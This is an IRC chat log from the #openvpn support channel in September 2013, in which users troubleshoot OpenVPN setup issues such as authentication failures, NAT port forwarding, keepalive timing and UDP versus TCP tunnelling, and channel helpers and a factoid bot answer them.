19:14 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Ping timeout: 264 seconds]
19:19 <+pekster> Asymmetric comp-lzo settings could cause that; can you confirm what both ends are actually using? That, or just hard-code it on the client?
19:33 < mapito> hms
19:33 < mapito> see
19:33 < mapito> http://openvpn.net/index.php/open-source/documentation/howto.html mentions using a static key for easier single client but i recall pekster  you told me static key are more advanced
19:33 <@vpnHelper> Title: HOWTO (at openvpn.net)
19:34 -!- p3rror [~mezgani@41.249.133.234] has quit [Ping timeout: 264 seconds]
19:34 -!- kiyor [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
19:38 <+pekster> mapito: When involving NAT issues, yes, although I think you can still use --keepalive to hold state
19:39 < mapito> ah
19:39 < mapito> just reading the howto now
19:39 < mapito> uninstalled openvpn to start from scratch
19:40 <+pekster> That might fix the issue of NAT state, if that was your problem before
19:40 <+pekster> Or stateful firewalling in general (NAT isn't a requirement for that, although stateful firewalls are for NAT)
19:41 < mapito> i was just testing with static key as the crap tutorial i rad said its easier;]
19:42 <+pekster> It's simplier, but that doesn't necessarily mean easier depending on your setup
19:43 <+pekster> The "easy" part is that there's no PKI or server-directives that get pushed
19:43 < mapito> yea
19:45 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:54 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has joined #openvpn
20:17 -!- FatDarrel [~anandab@208-90-214-248.PUBLIC.monkeybrains.net] has quit [Quit: FatDarrel]
20:37 -!- verdoc_ [~quassel@2605:f700:c0:1::745e:407a] has quit [Remote host closed the connection]
20:37 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has joined #openvpn
20:44 -!- raidz is now known as raidz_away
20:48 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has quit [Remote host closed the connection]
20:48 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has joined #openvpn
20:49 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has quit [Remote host closed the connection]
20:49 -!- verdoc [~quassel@2605:f700:c0:1::745e:407a] has joined #openvpn
21:08 -!- Netsplit *.net <-> *.split quits: Sazpaimon_
21:08 -!- Sazpaimon_ [wat@96.227.217.235] has joined #openvpn
22:00 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:10 < mapito> hope after following this howto my vpn works:P
22:26 -!- sherefe [~sh@178.90.4.116] has joined #openvpn
22:34 -!- Aelius [~link@unaffiliated/aelius] has quit [Quit: brb]
23:22 < sherefe> anybody alive ?
23:35 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
23:35 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
23:53 -!- xrosnight_ [~quassel@116.76.166.121] has quit [Read error: Connection reset by peer]
23:54 -!- xrosnight [~quassel@116.76.166.121] has joined #openvpn
--- Day changed Sat Sep 14 2013
00:37 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
00:47 -!- xrosnight [~quassel@116.76.166.121] has quit [Ping timeout: 260 seconds]
01:07 -!- sherefe [~sh@178.90.4.116] has quit [Read error: Connection reset by peer]
01:08 -!- sherefe [~sh@178.90.4.116] has joined #openvpn
01:09 < mapito> yes
01:09 < mapito> sherefe sup
01:09 < sherefe> terrible
01:10 < sherefe> i have a grey hair already
01:10 < sherefe> cant install openvpn correctly
01:11 < sherefe> can u help me
01:11 < mapito> aha
01:11 < mapito> probably not so much struggling myself:D
01:12 < mapito> u read the howto?
01:12 < sherefe> 10000 times i read
01:12 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
01:12 < sherefe> i am waiting here some crazy guru who will save me
01:13 < sherefe> its noy u mapito?
01:13 < sherefe> not
01:13 < sherefe> happily
01:13 < mapito> na not me sadly
01:13 < sherefe> where fom ?
01:14 < sherefe> and my second dream guru will be from russia
01:14 < sherefe> cuz my english is poor
01:17 < mapito> aha
01:17 < mapito> im uk
01:34 -!- sherefe [~sh@178.90.4.116] has quit [Read error: Connection reset by peer]
01:42 -!- master_of_master [~master_of@p4FF24F45.dip0.t-ipconnect.de] has joined #openvpn
01:46 -!- master_o1_master [~master_of@p4FF24C39.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
01:48 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
01:48 -!- fluter [~fluter@fedora/fluter] has quit [Max SendQ exceeded]
01:52 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
01:57 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
01:57 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Client Quit]
01:57 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
02:10 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
--- Log closed Sat Sep 14 02:35:00 2013
--- Log opened Sat Sep 14 02:35:16 2013
02:35 -!- ecrist [~ecrist@token-black.secure-computing.net] has joined #openvpn
02:35 -!- Irssi: #openvpn: Total of 219 nicks [7 ops, 0 halfops, 3 voices, 209 normal]
02:35 -!- mode/#openvpn [+o ecrist] by ChanServ
02:36 -!- Irssi: Join to #openvpn was synced in 52 secs
02:36 -!- mnathani [~mnathani@arp-lax.gtapcsolutions.com] has quit [Ping timeout: 248 seconds]
02:45 -!- klong- [~klong@c-50-135-252-126.hsd1.wa.comcast.net] has quit [Read error: Connection reset by peer]
02:48 -!- p3rror [~mezgani@41.249.133.234] has joined #openvpn
02:51 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
03:18 -!- sherefe [~sh@178.90.4.116] has quit [Ping timeout: 256 seconds]
03:21 -!- sherefe [~sh@178.90.4.116] has joined #openvpn
03:21 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-cqjjwkftjhdwsfep] has joined #openvpn
03:24 -!- takamichi [~takamichi@92.251.122.219] has quit [Quit: Computer has gone to sleep.]
03:25 -!- onyx2000 [~sh@178.90.4.116] has joined #openvpn
03:26 -!- sherefe [~sh@178.90.4.116] has quit [Ping timeout: 260 seconds]
03:27 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
03:28 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
03:38 -!- Blal [~Callum@cpc15-wake7-2-0-cust331.17-1.cable.virginmedia.com] has joined #openvpn
03:46 -!- levifig [~levifig@spwn.co] has quit [Ping timeout: 264 seconds]
03:46 < mapito> hi
03:47 < mapito> Before you use the sample configuration file, you should first edit the ca, cert, key, and dh parameters to point to the files you generated in the PKI section above. -- from the howto
03:47 < mapito> actually dont worry silly question
03:47 < mapito> :D
03:51 -!- onyx2000 [~sh@178.90.4.116] has quit [Ping timeout: 264 seconds]
03:52 -!- sherefe [~sh@178.90.4.116] has joined #openvpn
03:52 -!- levifig [~levifig@hakr.io] has joined #openvpn
03:53 -!- pfoo [~pfoo@unaffiliated/pfoo] has quit []
03:53 -!- pfoo [~pfoo@unaffiliated/pfoo] has joined #openvpn
04:00 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
04:04 -!- Pei [~pei@thinks.outside.theb0x.org] has quit [Ping timeout: 240 seconds]
04:04 -!- Pei [~pei@thinks.outside.theb0x.org] has joined #openvpn
04:29 -!- Blal [~Callum@cpc15-wake7-2-0-cust331.17-1.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
04:39 -!- kolAflash [~moritz@p4FF7E78B.dip0.t-ipconnect.de] has joined #openvpn
04:41 < kolAflash> hi. i've got some experience with openvpn but now i've a little more complicated szenario. i have a vserver and a small computer at home. the vserver has two ip's (not a subnet) and i want it to route one of this ips through openvpn to my pc at home (so the pc at home gets a fixed public ip)
04:50 -!- guntha [~guntha@unaffiliated/guntha] has joined #openvpn
05:34 -!- kolAflash [~moritz@p4FF7E78B.dip0.t-ipconnect.de] has quit [Quit: Leaving.]
05:36 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
05:38 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
05:40 -!- lbft is now known as ex-lbft
06:04 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
06:09 -!- sherefe [~sh@178.90.4.116] has quit [Ping timeout: 240 seconds]
06:10 -!- sherefe [~sh@178.90.4.116] has joined #openvpn
06:14 -!- sherefe [~sh@178.90.4.116] has quit [Ping timeout: 240 seconds]
06:18 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:19 -!- ex-lbft is now known as lbft
06:22 -!- sherefe [~sh@178.90.4.116] has joined #openvpn
06:22 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
06:22 < sherefe> guys please help me tune my server
06:24 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
06:35 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-phzuarcbbxdbpxec] has quit [Excess Flood]
06:37 -!- oO0Oo [o_o@gateway/shell/elitebnc/x-exxumcgwelkeocgn] has joined #openvpn
06:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
06:52 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
06:53 -!- mode/#openvpn [+v s7r] by ChanServ
07:07 < r3Mod> hi
07:07 < r3Mod> what can be the reason for that my "client-connect"-script won't be executed?
07:08 < r3Mod> it is the same script i use for "up", and this works as expected...
07:09 < r3Mod> OpenVPN 2.3.0
07:09 < sherefe> r3Mod hello. nobody help here
07:09 < sherefe> im waiting from monday
07:09 < sherefe> :-(
07:09 < r3Mod> :-/
07:10 < r3Mod> i'm sure that i'm not the only one who has this problem..
07:10 < sherefe> may be u more happy then me
07:10 < sherefe> wait
07:11 < sherefe> i coudnt tune my openvpn server all last week
07:11 < sherefe> i m so tired
07:11 < sherefe> and so nervous
07:11 < r3Mod> ;)
07:12 < sherefe> i read all manuals in internet
07:12 < sherefe> i dont sleep
07:12 < sherefe> i have red eyes
07:12 < sherefe> and grey hair
07:12 < sherefe> like a ghost
07:21 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
07:22 -!- Bretos1 [~Bretos@vps.tyborek.pl] has joined #openvpn
07:22 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
07:22 -!- Bretos1 [~Bretos@vps.tyborek.pl] has left #openvpn []
08:00 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
08:12 -!- copper [~copper@unaffiliated/copper] has left #openvpn []
08:25 -!- xrosnight [~quassel@116.76.166.121] has joined #openvpn
08:27 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
08:27 -!- ignasr [~ignas@158.129.128.243] has left #openvpn []
08:30 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:58 -!- fcporto [~fcp@a89-153-6-156.cpe.netcabo.pt] has joined #openvpn
08:58 < fcporto> hello
08:59 < fcporto> i'm trying to connect from my client openvpn in debian to server vpn and appears an error
08:59 < fcporto> anyone can help?
08:59 < fcporto> Sat Sep 14 14:54:07 2013 SENT CONTROL [changeme]: 'PUSH_REQUEST' (status=1)
08:59 < fcporto> Sat Sep 14 14:54:07 2013 AUTH: Received AUTH_FAILED control message
08:59 < fcporto> Sat Sep 14 14:54:07 2013 TCP/UDP: Closing socket
08:59 < fcporto> Sat Sep 14 14:54:07 2013 SIGTERM[soft,auth-failure] received, process exiting
09:00 < fcporto> i googleit and not found any help :(
09:00 < fcporto> my config is with active directory
09:00 < fcporto> on a windows machine
09:00 < fcporto> and the server at debian 7
09:00 < fcporto> 64bits
09:06 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has left #openvpn []
09:12 < fcporto> anyone?
09:33 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
09:35 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
09:35 -!- mode/#openvpn [+v s7r] by ChanServ
09:40 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
09:46 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
09:46 -!- mode/#openvpn [+v s7r] by ChanServ
09:47 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Ping timeout: 264 seconds]
09:56 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
09:57 -!- xrosnight [~quassel@116.76.166.121] has quit [Changing host]
09:57 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
09:58 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
09:58 -!- mode/#openvpn [+o krzee] by ChanServ
10:02 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 264 seconds]
10:10 -!- sandeepr_ltp [~sandeepr_@nat/hp/x-plfgggxvweusatbz] has joined #openvpn
10:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
10:28 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
10:28 -!- dougy[work] [~dougwork@static-98-109-158-66.nwrknj.fios.verizon.net] has joined #openvpn
10:29 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
10:29 -!- mode/#openvpn [+v s7r] by ChanServ
10:30 -!- Dougy [~dougwork@static-98-109-158-66.nwrknj.fios.verizon.net] has quit [Ping timeout: 256 seconds]
10:32 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:40 -!- Dougy [~dougwork@static-98-109-158-66.nwrknj.fios.verizon.net] has joined #openvpn
10:41 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Read error: Connection timed out]
10:42 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
10:42 -!- dougy[work] [~dougwork@static-98-109-158-66.nwrknj.fios.verizon.net] has quit [Ping timeout: 264 seconds]
10:53 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Quit: http://quassel-irc.org - Chat comfortably. Anywhere.]
10:54 -!- xrosnight [~quassel@116.76.166.121] has joined #openvpn
10:54 -!- xrosnight [~quassel@116.76.166.121] has quit [Changing host]
10:54 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
10:56 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has joined #openvpn
10:58 -!- xrosnight is now known as atommann_
11:00 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Read error: Connection timed out]
11:01 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
11:01 -!- atommann_ is now known as atomman
11:03 -!- puckeredrosebud [~Ashlee@162.218.209.203] has joined #openvpn
11:04 -!- atomman is now known as xrosnight
11:11 -!- mapito [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
11:15 -!- sherefe [~sh@178.90.4.116] has quit [Quit: Q_u_i_t]
11:22 -!- kubbing_ [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
11:25 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has quit [Ping timeout: 256 seconds]
11:35 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
11:35 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
11:40 < puckeredrosebud> Hi everyone, I'm trying to configure the network on my openvpn server machine to allow openvpn clients to listen on any port of their choosing. My server has no problem listening on any port i set service up on, but any openvpn clients can not listen on any ports once they're connected. What can I do to achive my goal?
11:42 <+pekster> What do you mean cannot listen on any ports?
11:42 <+pekster> An OpenVPN client will establish an outbound connection, not listen for incoming ones
11:43 < puckeredrosebud> sorry, i may have explained it incorrectly. a client connect to the server, needs to listen for incoming connections, and is not able to
11:44 < puckeredrosebud> the server running openvpn, has no issues listening for incoming connections and making them. i just cannot figure out on my own, how to make the incoming traffic for the openvpn client pass through to it correctly
11:45 <+pekster> Incoming traffic from where, and bound for what, the VPN IP?
11:45 < puckeredrosebud> from anywhere, bound for a single port, but if i could make the range any that would be ideal, and for 10.8.0.6
11:46 <+pekster> "anywhere" can't talk to 10.8.0.6; that's not a globally routable IP
11:46 <+pekster> For all it matters, that IP does not even exist on the public Internet
11:46 < puckeredrosebud> how would i say, accept connections from any ip? 0.0.0.0?
11:46 <+pekster> You can't. Though you can NAT it in from the server
11:47 <+pekster> It's the same reason a SOHO router you can buy at the store "won't let" anyone access internal systems unless you NAT the request into the private LAN
11:47 <+pekster> You'd also need to either use --redirect-gateway (see !redirect) or set up policy routing so that the reply goes back the same way it came in
11:51 < puckeredrosebud> !redirect
11:51 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
11:51 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
11:53 < puckeredrosebud> I have no problem surfing the web and making outgoing connections, like you said i need to set it up so the incoming goes in reverse of how the outgoing connections, right? also, my server conf http://pastebin.com/0g5E7TrL
11:53 -!- xrosnight [~quassel@unaffiliated/xrosnight] has quit [Read error: Connection reset by peer]
11:53 < puckeredrosebud> !ipforward
11:53 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
11:54 < puckeredrosebud> !linipforward
11:54 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
11:54 -!- teotwaki_ [~teotwaki@Maemo/community/contributor/crashanddie] has quit [Ping timeout: 264 seconds]
11:54 < puckeredrosebud> net.ipv4.ip_forward = 1 in sysctl.conf is in place
11:55 -!- xrosnight [~quassel@116.76.166.121] has joined #openvpn
11:57 <+pekster> puckeredrosebud: So NAT them in
11:57 <+pekster> I don't get what's so hard about that
11:58 <+pekster> If you control the server, you're free to treat it as any other public IP router on the Internet with a private, non-globally-routable LAN behind it
12:01 -!- xrosnight [~quassel@116.76.166.121] has quit [Read error: Connection reset by peer]
12:06 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
12:06 < puckeredrosebud> that i dont have experience with iptables and im having a rough time learning
12:07 < puckeredrosebud> some things are "clicking", iptables is one that is not
12:08 <+pekster> Your problem isn't really openvpn then, but learning to use the OS/firewall on your server. The #netfilter channel has a couple of good guides in their /TOPIC
12:09 <+pekster> OpenVPN is basically just a software router, with some security bolted on top
12:22 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
12:22 -!- mnathani [~mnathani@arp-lax.gtapcsolutions.com] has joined #openvpn
12:24 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
12:27 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
12:34 -!- kirin` [telex@gateway/shell/anapnea.net/x-vysyjwwrkyqiiszw] has quit [Ping timeout: 260 seconds]
12:41 -!- kirin` [telex@gateway/shell/anapnea.net/x-glcsiunfvjtpfysm] has joined #openvpn
12:42 -!- puckeredrosebud [~Ashlee@162.218.209.203] has quit [Ping timeout: 264 seconds]
12:55 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:13 -!- mezgani [~mezgani@41.248.124.19] has joined #openvpn
13:16 -!- p3rror [~mezgani@41.249.133.234] has quit [Ping timeout: 260 seconds]
13:27 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
13:34 -!- kubbing_ [~kubbing@124-238-13-46.tmcz.cz] has quit [Remote host closed the connection]
13:36 -!- kubbing [~kubbing@124-238-13-46.tmcz.cz] has joined #openvpn
13:43 -!- Poster [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
13:51 < fcporto> hello anyone can help?
13:51 < fcporto> please
13:52 < fcporto> i install openvpn with ldap aut
13:52 < fcporto> auth
13:53 < fcporto> but when i try to connect appears
13:53 < fcporto> Sat Sep 14 19:51:31 2013 SENT CONTROL [changeme]: 'PUSH_REQUEST' (status=1)
13:53 < fcporto> Sat Sep 14 19:51:31 2013 AUTH: Received AUTH_FAILED control message
13:53 < fcporto> Sat Sep 14 19:51:31 2013 TCP/UDP: Closing socket
13:53 < fcporto> Sat Sep 14 19:51:31 2013 SIGTERM[soft,auth-failure] received, process exiting
13:58 -!- sherefe [~sh@178.90.4.116] has joined #openvpn
13:59 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
14:00 -!- FatDarrel [~anandab@c-67-188-0-203.hsd1.ca.comcast.net] has joined #openvpn
14:07 <+pekster> fcporto: Pretty self-explanatory; the server has rejected the connection with an AUTH_FAILED mesasage
14:07 <+pekster> The exact reason would be in the server logs
14:09 < fcporto> thanks pekster
14:09 < fcporto> gona check
14:11 -!- sherefe [~sh@178.90.4.116] has quit [Quit: Q_u_i_t]
14:31 < Skapare> I'm losing about 1 ping packet every 8 to 10 hours on the tunnel I'm running over UDP ... but on the tunnel I'm running over TCP there has been no loss at all so far
14:32 <+pekster> Welcome to how UDP and IP work
14:43 < Skapare> :)
14:43 < Skapare> the aspects of UDP vs TCP
14:44 < Skapare> most people, I think, want a setup that rides through short outages of the underlying network
14:44 < Skapare> it appears openvpn is trying to do that, and I believe it can succeed well
14:45 < Skapare> in my case, we have a reliable underlying network
14:45 < Skapare> but the network is slow (20mbps used by hundreds of computers)
14:46 < Skapare> Cisco based IPsec type tunneling works lousy on our network ... it drops tunnels and rejects connection every few hours
14:47 <@krzee> play with your keepalive settings
14:47 < Skapare> so far an UNloaded openvpn is stable as long as I don't go messing with it
14:47 <@krzee> !keepalive
14:47 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
14:47 < Skapare> I'm using keepaline 10 60 right now
14:47 < Skapare> s/n/v/
14:48 < Skapare> the doc suggested 10 120 but I like 10 60 better
14:48 <@krzee> "I'm usivg keepaline 10 60 right now"
14:48 <@krzee> after your regex ;]
14:48 < Skapare> regex?
14:48 <@krzee> s/n/v/ would change the first n to v
14:48  * Skapare is not using regex
14:48 <@krzee> what do you think s/n/v/ is?  :-p
14:49 < Skapare> I use smart replace, not regex :)
14:49 <@krzee> regex switch
14:49 < Skapare> it changes which "n" is most likely to be wrong :-P
14:50 < Skapare> anyway, 10 60 instead of 10 120
14:50 <@krzee> did you look at how that expands?
14:50 < Skapare> expands?
14:50 < Skapare> no
14:50 <@krzee> !man
14:50 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
14:50 <@krzee> check out keepalive in the manual
14:50 < Skapare> that's where I did
14:50 <@krzee> it expands to a series of other commands
14:51 < Skapare> so
14:52 <@krzee> you ask about making your timing out not happen as soon, but your change would enforce a sooner timeout
14:52 <@krzee> your change would have clients reconnect in 30sec of inactivity
14:52 <@krzee> which is fine, if thats what you want
14:52 < Skapare> no, I want the timeout to happen sooner so it can resync faster
14:52 <@krzee> oh ok
14:52 <@krzee> i guess i misunderstood the goal
14:53 < Skapare> so for a server, it does ping-restart 2*arg2 ?
14:54 < Skapare> or does it do arg2+60 ?
14:54 <@krzee> im not looking at the code or 100% sure (easy to check by looking at log in verb 4) but i would say *2
14:55 < Skapare> well, I haven't run into a case of a keepalive ping being lost more than once in a few hours
14:55 <@krzee> and sorry i was wrong about 30sec above i meant 60sec
14:55 <@krzee> then whats the problem you're solving?
14:56 < Skapare> whenever a problem does exist, the Cisco setup takes 4 to 5 minutes to get going again
14:56 < Skapare> I want to shorten that a lot, at least under 2 minutes
14:56 <@krzee> ahh ok so no actual openvpn problem?
14:57 <+pekster> The server uses a longer timeout so as not to "initiate" the restart from the server, at least under normal conditions
14:57 < Skapare> I'm just doing a series of tests to see how it behaves under various conditions, and then may tweak settings to see if I can improve it for the conditions my network sees most
14:57 <+pekster> And yes, it's *2, not _60
14:57 < Skapare> the thing is, I'm not seeing causes ... openvpn just runs fine under conditions Cisco says in an error in the network
14:57 <+pekster> Though you can expand --keepalive yourself if you wish to change this behavior (as with any of the "helper" directives)
14:58 < Skapare> so I think the Cisco stuff is overly picky or is making up errors
14:58 <+pekster> On the whole, OpenVPN tends to be a lot more flexible than most off-the-shelf VPN solutions. That, or you need to tweak your other solution more
14:58 < Skapare> I need to repeat these tests with load on the actual tunnels, next
14:59 < Skapare> we did teaking on Cisco for about 3 months ... everything we'd do would make it worse, or make it fail altogether
15:00 < Skapare> I think I'll end up telling management "just replace all Cisco tunnels with openvpn, across the board" ... but I want to run all the planned test scenarios before I do that
15:02 < Skapare> we found out about a week ago from IT department that the Cisco issues existed beyond our own group ... that's when I suggested to try out openvpn
15:04 < Skapare> turns out all at-home developers were having the issue from their home remote access (to Cisco) too ... we've known this for a few months ... except *I* use something different from home ... tun2socks voa "ssh -D" ... and it has been reliable and fast, unlike Cisco ... but it would not be a good choice for the core VPNs since we need bi-directional, UDP, and SCTP
15:04 < Skapare> s/voa/via/
15:06 < Skapare> that tun2socks method does work well ... but only because I generally don't need to do anything more than make a few TCP connections to the remote VPCs in AWS (e.g. ssh login, http)
15:06 <+pekster> All of which is really unrelated to OpenVPN
15:07 < Skapare> eh ... it showed me that openvpn should work well ... the only reason for not using it before was it requires setup in the remote end
15:07 < Skapare> tun2socks does not require a setup on the remote ... but it is limited due to that
15:07 < Skapare> (you need ssh access)
15:08 < Skapare> so that lead to the belief that openvpn should work fine ... just took me a while to get system related settings right (more complicated in AWS)
15:08 < Skapare> my boss said "OK, put openvpn on the test VPC and try it out"
15:09 < Skapare> so I did
15:10 < Skapare> I want to shake things out to make sure the config is right in all aspects that I can since the setup willl be "burned" in an AWS AMI image next
15:11 < Skapare> that way, we can just launch a gateway instance in AWS and will know it will work right
15:11 < Skapare> I need to spend more time reading docs to make sure I'm using the best features for my situations
15:13 < Skapare> and ... I'm comparing UDP vs TCP ... the network is low error, so I don't think TCP will be an issue, but I'll still use UDP unless I find a reason not to (have not)
15:14 <+pekster> !tcp
15:14 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
15:14 < fcporto> pekster
15:15 < fcporto> [] Peer Connection Initiated with [AF_INET]
15:15 < fcporto> PUSH: Received control message: 'PUSH_REQUEST'
15:15 < fcporto> Delayed exit in 5 seconds
15:15 < fcporto>  SENT CONTROL [UNDEF]: 'AUTH_FAILED' (status=1)
15:15 < fcporto>  read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
15:15 < fcporto>  SIGTERM[soft,delayed-exit] received, client-instance exiting
15:15 < fcporto> this is the server log
15:16 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
15:16 < fcporto> gona change verb 3 to verb 4 to see more log
15:16 <+pekster> That doesn't include the reason, only that it rejected the auth over the control channel. Use --verb 4 for more details
15:16 < fcporto> yap
15:17 < Skapare> I have never seen any efficiency loss in doing TCP over TCP ... what I have seen is than in error prone networks, is slows down faster than the underlying network
15:18 < Skapare> I've read about TCP over TCP issues before, but none with solid supporting evidence
15:20 < fcporto> TLS Auth Error: Auth Username/Password verification failed for peer
15:20 < fcporto> WARNING: 'link-mtu' is used inconsistently, local='link-mtu 1542', remote='link-mtu 1541'
15:20 < fcporto>  WARNING: 'comp-lzo' is present in local config but missing in remote config, local='comp-lzo'
15:20 < fcporto> Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA
15:20 < fcporto>  Peer Connection Initiated with [AF_INET]
15:20 < fcporto>  PUSH: Received control message: 'PUSH_REQUEST'
15:20 < fcporto> Delayed exit in 5 seconds
15:20 < fcporto> SENT CONTROL [UNDEF]: 'AUTH_FAILED' (status=1)
15:20 < fcporto>  us=186552 read UDPv4 [ECONNREFUSED]: Connection refused (code=111)
15:20 < fcporto>  us=331953 89.153.6.156:1194 SIGTERM[soft,delayed-exit] received, client-instance exiting
15:21 < fcporto> the passwd is correct :S
15:21 < fcporto> link-mtu 1541 and local 1542?
15:22 -!- bogie [bogie@2001:4ba0:fffd:65::101] has joined #openvpn
15:23 <+pekster> Try to put long lines like that into a pastebin (!paste)
15:23 <+pekster> wrapping in IRC makes them hard to read
15:24 <+pekster> And yes, the 'Auth Username/Password verification faild for peer' means exactly what it says
15:24 < rob0> (and flooding a channel is impolite)
